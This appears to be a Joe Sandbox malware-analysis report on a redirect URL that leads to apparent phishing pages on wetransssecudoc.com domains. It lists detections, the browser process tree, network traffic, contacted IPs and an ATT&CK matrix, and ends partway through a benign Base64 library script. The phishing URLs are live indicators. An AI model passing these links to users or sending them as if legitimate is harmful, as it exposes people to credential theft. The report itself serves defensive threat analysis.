Edit tour

Windows Analysis Report
https://m365.eu.vadesecure.com/safeproxy/v4?f=P2kPCMrad6wbkDicjo9-gccMP9mht8icnqc8BSBVdA_Y7h7opqWdVmIuu6aydhxUqmDN6F6EdXlLyB2l0qIMlQ&i=5-xWt8no16hszAEjWVJq7eaI9aJqiiKo6Nhcmhm-VGlgucrJV_O22YeSLcAbYkmTq4CwxD0j9z8vSmI-321xIA&k=xkCw&r=pXE3RoNwGsBbFpqq5275TB1w64v1huZFRPWjs9IU8PkouXkx5H5uI3MDfotj5UVm&s=fd

Overview

General Information

Sample URL:	https://m365.eu.vadesecure.com/safeproxy/v4?f=P2kPCMrad6wbkDicjo9-gccMP9mht8icnqc8BSBVdA_Y7h7opqWdVmIuu6aydhxUqmDN6F6EdXlLyB2l0qIMlQ&i=5-xWt8no16hszAEjWVJq7eaI9aJqiiKo6Nhcmhm-VGlgucrJV_O22YeSLcAbYkmTq
Analysis ID:	1590819

Detection

HTMLPhisher

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish44

AI detected suspicious Javascript

AI detected suspicious URL

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 304 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 2044 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1960,i,12274221465006799065,3347254884749442481,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 4300 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://m365.eu.vadesecure.com/safeproxy/v4?f=P2kPCMrad6wbkDicjo9-gccMP9mht8icnqc8BSBVdA_Y7h7opqWdVmIuu6aydhxUqmDN6F6EdXlLyB2l0qIMlQ&i=5-xWt8no16hszAEjWVJq7eaI9aJqiiKo6Nhcmhm-VGlgucrJV_O22YeSLcAbYkmTq4CwxD0j9z8vSmI-321xIA&k=xkCw&r=pXE3RoNwGsBbFpqq5275TB1w64v1huZFRPWjs9IU8PkouXkx5H5uI3MDfotj5UVm&s=fdffd7ecf746462b0c7628930ed8d07f470444f4a342766d2b3d92d5b7331db4&u=https%3A%2F%2Ftiny.pl%2Fc1rp2m9f" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
2.10.i.script.csv	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security
3.4.pages.csv	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security
3.5.pages.csv	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTTP traffic detected: GET /index.html HTTP/1.1Host: actu.wetransssecudoc.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: m365.eu.vadesecure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: tiny.pl
Source: global traffic	DNS traffic detected: DNS query: pierre124.hosted.phplist.com
Source: global traffic	DNS traffic detected: DNS query: actu.wetransssecudoc.com
Source: global traffic	DNS traffic detected: DNS query: ar24consultation.wetransssecudoc.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 2.23.242.162:443 -> 192.168.2.18:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.242.162:443 -> 192.168.2.18:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.18:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.18:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.17:443 -> 192.168.2.18:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.17:443 -> 192.168.2.18:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.227.208:443 -> 192.168.2.18:49773 version: TLS 1.2

Source: classification engine

Classification label: mal56.phis.win@21/22@29/171

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1960,i,12274221465006799065,3347254884749442481,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://m365.eu.vadesecure.com/safeproxy/v4?f=P2kPCMrad6wbkDicjo9-gccMP9mht8icnqc8BSBVdA_Y7h7opqWdVmIuu6aydhxUqmDN6F6EdXlLyB2l0qIMlQ&i=5-xWt8no16hszAEjWVJq7eaI9aJqiiKo6Nhcmhm-VGlgucrJV_O22YeSLcAbYkmTq4CwxD0j9z8vSmI-321xIA&k=xkCw&r=pXE3RoNwGsBbFpqq5275TB1w64v1huZFRPWjs9IU8PkouXkx5H5uI3MDfotj5UVm&s=fdffd7ecf746462b0c7628930ed8d07f470444f4a342766d2b3d92d5b7331db4&u=https%3A%2F%2Ftiny.pl%2Fc1rp2m9f"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1960,i,12274221465006799065,3347254884749442481,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://m365.eu.vadesecure.com/safeproxy/v4?f=P2kPCMrad6wbkDicjo9-gccMP9mht8icnqc8BSBVdA_Y7h7opqWdVmIuu6aydhxUqmDN6F6EdXlLyB2l0qIMlQ&i=5-xWt8no16hszAEjWVJq7eaI9aJqiiKo6Nhcmhm-VGlgucrJV_O22YeSLcAbYkmTq4CwxD0j9z8vSmI-321xIA&k=xkCw&r=pXE3RoNwGsBbFpqq5275TB1w64v1huZFRPWjs9IU8PkouXkx5H5uI3MDfotj5UVm&s=fdffd7ecf746462b0c7628930ed8d07f470444f4a342766d2b3d92d5b7331db4&u=https%3A%2F%2Ftiny.pl%2Fc1rp2m9f	0%	Avira URL Cloud	safe

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://actu.wetransssecudoc.com/index.html	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
aspen.phplist.com	45.33.29.14	true	false	unknown
m365.eu.vadesecure.com	40.89.138.20	true	false	unknown
public101.gv8atry.com	197.129.147.136	true	false	unknown
public102.gv8atry.com	197.129.147.136	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	142.250.184.228	true	false	high
tiny.pl	104.26.0.72	true	false	unknown
actu.wetransssecudoc.com	unknown	unknown	false	unknown
pierre124.hosted.phplist.com	unknown	unknown	false	unknown
ar24consultation.wetransssecudoc.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ar24consultation.wetransssecudoc.com/MXq8HKfy-eg5TXl6di/index.html	false		unknown
http://actu.wetransssecudoc.com/index.html	false	Avira URL Cloud: safe	unknown
https://m365.eu.vadesecure.com/safeproxy/v4?f=P2kPCMrad6wbkDicjo9-gccMP9mht8icnqc8BSBVdA_Y7h7opqWdVmIuu6aydhxUqmDN6F6EdXlLyB2l0qIMlQ&i=5-xWt8no16hszAEjWVJq7eaI9aJqiiKo6Nhcmhm-VGlgucrJV_O22YeSLcAbYkmTq4CwxD0j9z8vSmI-321xIA&k=xkCw&r=pXE3RoNwGsBbFpqq5275TB1w64v1huZFRPWjs9IU8PkouXkx5H5uI3MDfotj5UVm&s=fdffd7ecf746462b0c7628930ed8d07f470444f4a342766d2b3d92d5b7331db4&u=https:%2F%2Ftiny.pl%2Fc1rp2m9f	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.46	unknown	United States	15169	GOOGLEUS	false
45.33.29.14	aspen.phplist.com	United States	63949	LINODE-APLinodeLLCUS	false
142.250.186.67	unknown	United States	15169	GOOGLEUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
197.129.147.136	public101.gv8atry.com	Morocco	6713	IAM-ASMA	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.26.0.72	tiny.pl	United States	13335	CLOUDFLARENETUS	false
74.125.206.84	unknown	United States	15169	GOOGLEUS	false
64.233.167.84	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.174	unknown	United States	15169	GOOGLEUS	false
40.89.138.20	m365.eu.vadesecure.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16
192.168.2.18
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590819
Start date and time:	2025-01-14 14:50:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://m365.eu.vadesecure.com/safeproxy/v4?f=P2kPCMrad6wbkDicjo9-gccMP9mht8icnqc8BSBVdA_Y7h7opqWdVmIuu6aydhxUqmDN6F6EdXlLyB2l0qIMlQ&i=5-xWt8no16hszAEjWVJq7eaI9aJqiiKo6Nhcmhm-VGlgucrJV_O22YeSLcAbYkmTq4CwxD0j9z8vSmI-321xIA&k=xkCw&r=pXE3RoNwGsBbFpqq5275TB1w64v1huZFRPWjs9IU8PkouXkx5H5uI3MDfotj5UVm&s=fdffd7ecf746462b0c7628930ed8d07f470444f4a342766d2b3d92d5b7331db4&u=https%3A%2F%2Ftiny.pl%2Fc1rp2m9f
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.phis.win@21/22@29/171

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.67, 142.250.185.174, 74.125.206.84, 172.217.16.206, 142.250.185.238, 142.250.184.238
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, accounts.google.com, redirector.gvt1.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: https://m365.eu.vadesecure.com/safeproxy/v4?f=P2kPCMrad6wbkDicjo9-gccMP9mht8icnqc8BSBVdA_Y7h7opqWdVmIuu6aydhxUqmDN6F6EdXlLyB2l0qIMlQ&i=5-xWt8no16hszAEjWVJq7eaI9aJqiiKo6Nhcmhm-VGlgucrJV_O22YeSLcAbYkmTq4CwxD0j9z8vSmI-321xIA&k=xkCw&r=pXE3RoNwGsBbFpqq5275TB1w64v1huZFRPWjs9IU8PkouXkx5H5uI3MDfotj5UVm&s=fdffd7ecf746462b0c7628930ed8d07f470444f4a342766d2b3d92d5b7331db4&u=https%3A%2F%2Ftiny.pl%2Fc1rp2m9f

Input	Output
URL: https://m365.eu.vadesecure.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://m365.eu.vadesecure.com
URL: https://m365.eu.vadesecure.com/safeproxy/4.efcb4f3... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "This script appears to be a Base64 encoding/decoding library, which is a common and legitimate functionality. However, it also includes some behaviors that raise moderate concerns, such as the use of external data transmission and fallback domains. Additionally, the script is obfuscated, which can be a sign of malicious intent. Overall, the script requires further review due to the combination of these factors." }
(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[4],{J66h:function(module,exports,__webpack_require__){var __WEBPACK_AMD_DEFINE_ARRAY__,__WEBPACK_AMD_DEFINE_RESULT__;!function(l,n){module.exports=n(l)}("undefined"!=typeof self?self:"undefined"!=typeof window?window:"undefined"!=typeof global?global:this,function(global){"use strict";global=global\|\|{};var _Base64=global.Base64,version="2.5.2",buffer;if(module.exports)try{buffer=eval("require('buffer').Buffer")}catch(err){buffer=void 0}var b64chars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",b64tab=function(l){for(var n={},t=0,u=l.length;t<u;t++)n[l.charAt(t)]=t;return n}(b64chars),fromCharCode=String.fromCharCode,cb_utob=function(l){if(l.length<2)return(n=l.charCodeAt(0))<128?l:n<2048?fromCharCode(192\|n>>>6)+fromCharCode(128\|63&n):fromCharCode(224\|n>>>12&15)+fromCharCode(128\|n>>>6&63)+fromCharCode(128\|63&n);var n=65536+1024*(l.charCodeAt(0)-55296)+(l.charCodeAt(1)-56320);return fromCharCode(240\|n>>>18&7)+fromCharCode(128\|n>>>12&63)+fromCharCode(128\|n>>>6&63)+fromCharCode(128\|63&n)},re_utob=/[\uD800-\uDBFF][\uDC00-\uDFFFF]\|[^\x00-\x7F]/g,utob=function(l){return l.replace(re_utob,cb_utob)},cb_encode=function(l){var n=[0,2,1][l.length%3],t=l.charCodeAt(0)<<16\|(l.length>1?l.charCodeAt(1):0)<<8\|(l.length>2?l.charCodeAt(2):0);return[b64chars.charAt(t>>>18),b64chars.charAt(t>>>12&63),n>=2?"=":b64chars.charAt(t>>>6&63),n>=1?"=":b64chars.charAt(63&t)].join("")},btoa=global.btoa?function(l){return global.btoa(l)}:function(l){return l.replace(/[\s\S]{1,3}/g,cb_encode)},_encode=function(l){return"[object Uint8Array]"===Object.prototype.toString.call(l)?l.toString("base64"):btoa(utob(String(l)))},encode=function(l,n){return n?_encode(String(l)).replace(/[+\/]/g,function(l){return"+"==l?"-":"_"}).replace(/=/g,""):_encode(l)},encodeURI=function(l){return encode(l,!0)},re_btou=/[\xC0-\xDF][\x80-\xBF]\|[\xE0-\xEF][\x80-\xBF]{2}\|[\xF0-\xF7][\x80-\xBF]{3}/g,cb_btou=function(l){switch(l.length){case 4:var n=((7&l.charCodeAt(0))<<18\|(63&l.charCodeAt(1))<<12\|(63&l.charCodeAt(2))<<6\|63&l.charCodeAt(3))-65536;return fromCharCode(55296+(n>>>10))+fromCharCode(56320+(1023&n));case 3:return fromCharCode((15&l.charCodeAt(0))<<12\|(63&l.charCodeAt(1))<<6\|63&l.charCodeAt(2));default:return fromCharCode((31&l.charCodeAt(0))<<6\|63&l.charCodeAt(1))}},btou=function(l){return 